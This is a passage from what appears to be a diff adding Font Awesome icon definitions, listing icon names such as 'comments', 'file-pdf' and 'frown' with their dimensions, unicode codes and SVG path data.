7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"], + "comments": [576, 512, [], "f086", "M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z"], + "compass": [496, 512, [], "f14e", "M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"], + "copy": [448, 512, [], "f0c5", "M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"], + "copyright": [512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z"], + "credit-card": [576, 512, [], "f09d", "M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z"], + "dizzy": [496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z"], + "dot-circle": [512, 512, [], "f192", "M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z"], + "edit": [576, 512, [], "f044", "M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z"], + "envelope": [512, 512, [], "f0e0", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z"], + "envelope-open": [512, 512, [], "f2b6", "M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z"], + "eye": [576, 512, [], "f06e", "M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z"], + "eye-slash": [640, 512, [], "f070", "M634 471L36 3.51A16 16 0 0 0 13.51 6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z"], + "file": [384, 512, [], "f15b", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z"], + "file-alt": [384, 512, [], "f15c", "M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z"], + "file-archive": [384, 512, [], "f1c6", "M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z"], + "file-audio": [384, 512, [], "f1c7", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z"], + "file-code": [384, 512, [], "f1c9", "M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z"], + "file-excel": [384, 512, [], "f1c3", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z"], + "file-image": [384, 512, [], "f1c5", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z"], + "file-pdf": [384, 512, [], "f1c1", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z"], + "file-powerpoint": [384, 512, [], "f1c4", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z"], + "file-video": [384, 512, [], "f1c8", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z"], + "file-word": [384, 512, [], "f1c2", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z"], + "flag": [512, 512, [], "f024", "M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z"], + "flushed": [496, 512, [], "f579", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"], + "folder": [512, 512, [], "f07b", "M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z"], + "folder-open": [576, 512, [], "f07c", "M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z"], + "font-awesome-logo-full": [3992, 512, ["Font Awesome"], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"], + "frown": [496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z"], + "frown-open": [496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z"], + "futbol": [496, 512, [], "f1e3", "M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 